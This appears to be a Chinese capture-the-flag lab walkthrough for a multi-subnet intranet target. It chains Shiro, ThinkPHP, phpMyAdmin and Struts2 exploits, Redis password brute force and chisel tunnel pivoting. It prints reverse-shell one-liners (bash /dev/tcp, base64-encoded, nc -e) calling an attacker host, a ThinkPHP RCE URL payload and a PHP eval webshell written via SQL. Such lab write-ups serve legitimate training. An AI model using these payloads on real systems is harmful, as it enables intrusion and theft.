前言

靶机地址https://github.com/CTF-Archives/Puff-Pastr 靶机拓扑图如下

image_20231112-201211

渗透过程

shiro

发现rememberme字段,直接使用shiro工具进行rce就可以

image-20260810144155445

然后

1
cat /flag.txt

image-20260810144313564

下一步就是反弹shell,直接执行命令

1
bash -i >& /dev/tcp/192.168.141.112/4444 0>&1

不行,换一种方式

1
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0MS4xMTIvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}'
1
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0MS4xMTIvNDQ0NCAwPiYx | base64 -d > /tmp/shell.sh

这里出现一点小乌龙,就是用shiro工具有的可以执行反弹shell,有点不行,连写文件也不行

image-20260810160708663

这个不行

image-20260810160747188

这个也不行

image-20260810160818023

这个可以

image-20260810160846970

反弹之后查看ip

image-20260810161148416

扫描靶机所处的c段,上传一下扫描攻击fscan

1
wget http://192.168.141.112:9999/fscan_static

接下来就是扫描靶机所处的网段

1
./fscan -h 192.168.100.0/24

image-20260810163107684

扫到了192.168.100.3存在thinkphp框架,接下来扫一下poc

1
./fscan -h 192.168.100.0/24 -full

image-20260810163234637

发现存在漏洞,现在做一下端口转发使用chisel,还是把工具下载到靶机中,攻击机

1
chisel.exe server -p 1332 --reverse

靶机

1
./chisel client http://192.168.141.168:1332 R:0.0.0.0:7788:192.168.100.2:80 

命令格式如下

1
./chisel client <server_ip>:<server_port> R:<服务端监听IP>:<服务端监听端口>:<客户端内网IP>:<客户端内网端口> &

执行完我本机方法访问127.0.0.1:7788等同于访问靶机的192.168.100.3:80

thinkphp

image-20260810181344664

刚才扫出来了一个漏洞,工具检测一下

image-20260810181657101

1
2
[+] 存在ThinkPHP 5.0.22/5.1.29 RCE
Payload: http://127.0.0.1:7788//?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

image-20260810181858347

靶机出网接下来还是反弹shell,写入

1
2
3
echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTQxLjExMi80NDQ0IDA+JjE= | base64 -d >/tmp/shell.sh
chmod +x /tmp/shell.sh
./tmp/shell.sh

这里又出现了问题,,我真服了image-20260810184830728

成功了但是没完全成功,回来看shell文件

image-20260810184908935

base64 解码后的字符串有换行 / 多余空白字符,导致重定向语法破坏。0>&1 被解析成单独命令 0,直接报错,shell 崩溃退出

又调试了其他paylaod还是不行,就换nc了

1
nc 192.168.141.112 4444 -e bash

image-20260810185314225

这里是完整的命令,接下来就可以反射shell

image-20260810185407517

反弹之后升级一下tty

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

拿到flag

image-20260811193046146

之后还是看ip

image-20260810191233393

发现了一个新的网段,还是上传工具用fscan扫描

1
./fscan_static -k 10.85.101.0/24

image-20260810192217338

这里看到扫出的服务还是比较多的

1
2
3
phpMyAdmin - 10.85.101.3
Thinkphp - 10.85.101.4
Redis - 10.85.101.2

进行 socks 转发

还是攻击机

1
chisel.exe server -p 1333 --reverse

靶机

1
./chisel client 192.168.141.168:1333 R:0.0.0.0:6677:socks

同时浏览器配置代理

image-20260811194230010

redis

扫出来一个redis服务,首先尝试爆破一下密码

redisbrute是一款爆破工具可以用来爆破密码,但是这个工具不支持代理,我们现在没有办法直接爆破,这里还需要Proxychains工具,为了“代理”某个没有代理支持的程序,https://github.com/shunf4/proxychains-windows/releases/tag/0.6.8)

image-20260811210644877

windows就用这个,不要下错版本。

第一次是用proxychains需要修改几个配置image-20260811210735520

这里改为代理socks的端口

image-20260811210815475

这个DIRECT代表内网直连不走代理,把这三个网段注释掉即可,接下来就可以爆破了

1
proxychains_win32_x64.exe -f proxychains.conf redisbrute.exe -T 10.85.101.2:6379 -p rockyou.txt -t 8

image-20260811211032663

爆破出密码时12345,接下来连接即可,这里是用的是hexhub,支持代理连接

image-20260811211140249

image-20260811211149992

连接后有flag

image-20260811211212444

phpmyadmin

访问一下phpmyadmin

image-20260811194657532

localhost/root/root弱口令直接进后台得到flag

image-20260811195130332

然后可以写入shell

1
select '<?php eval($_POST["1"]); ?>' into outfile '/var/www/html/1.php'

image-20260811212048152

按照官方题解是能写入shell的,这里修改一下权限

image-20260811212338018

这样就可以写入,然后蚁剑连接,同样要配置代理

image-20260811212636371

image-20260811212727119

image-20260811212922584

经过测试靶机不出网,这里就需要构建多层端口转发,首先攻击机

1
2
./chisel server -p 1335 --reverse

Thinkphp 主机上建立内网 -> 外网的端口转发

1
./chisel client 192.168.141.112:1335 7777:0.0.0.0:7777    //远端端口:本地地址:本地端口

整个过程是

1
2
3
4
5
6
7
phpMyAdmin(10.85.101.4) → 10.85.101.3:7777 【跳板本地端口】

跳板Chisel捕获7777流量,通过ws隧道发往攻击机192.168.200.129:1335

攻击机Chisel服务端,将流量扔到本机 7777

nc -lvnp 7777 成功拿到shell

在蚁剑新建一个反弹shell的文件

1
2
3
bash -i >& /dev/tcp/10.85.101.3/7777 0>&1
chmod +x 1.sh
bash 1.sh

image-20260811222042468

成功反弹shell,借助蚁剑上传fsan,chisel之后继续分析

查看ip

image-20260812101626675

发现有新的网段,扫描一下

image-20260812102343487

可以看到172.56.102.3:5432是PostgreSQL服务,存在弱口令psotgres:password

再扫一下poc

1
./fscan_static -h 172.56.102.0/24 -full

image-20260812102609559

在172.56.102.2:8080存在一个漏洞poc-yaml-struts2_045

这里是存在有多个服务,我们只是无法通过像上面的方法一样直接通过socks代理转发,同反弹shell需要通过thinkphp作为跳板机,

攻击机

1
chisel.exe server -p 1331 --reverse

thinkphp靶机

1
./chisel client 192.168.141.168:1331 1331:1331

phpmyadmin

1
./chisel client 10.85.101.3:1331 R:0.0.0.0:10005:socks

同步配置

访问http://172.56.102.3:8080

Struts

image-20260812135929255

前面已经扫到了这里存在Struts2漏洞,https://github.com/abc123info/Struts2VulsScanTools/releases/tag/v19.73下载漏扫工具,使用proxychains打开工具

image-20260812140813369

注意刚才本机代理的端口为10005,修改配置文件

image-20260812140932313

检测结果如下

image-20260812141105975

直接读flag文件即可

image-20260812141133401

PostgreSQL

同时还有一个172.56.102.3:5432PostgreSQL服务,使用pgcli连接

image-20260812145808523

image-20260812150038475

image-20260812150013497

结语

完整下来差不多弄了2天。这里必须点名一下那个白海豚还有巴威一个说去浙江的结果来河南了,弄得宁波的比赛都推迟了,河南苦苦下。一个说来河南到门口又走了,那时候还在打御网杯超级热,俩魔丸!!!!。还是建议找一个完整的时间把这个靶机打完,不然到内网还要重新配代理环境比较麻烦。最主要的还是使用chisel配置代理,这个配好其他都好说。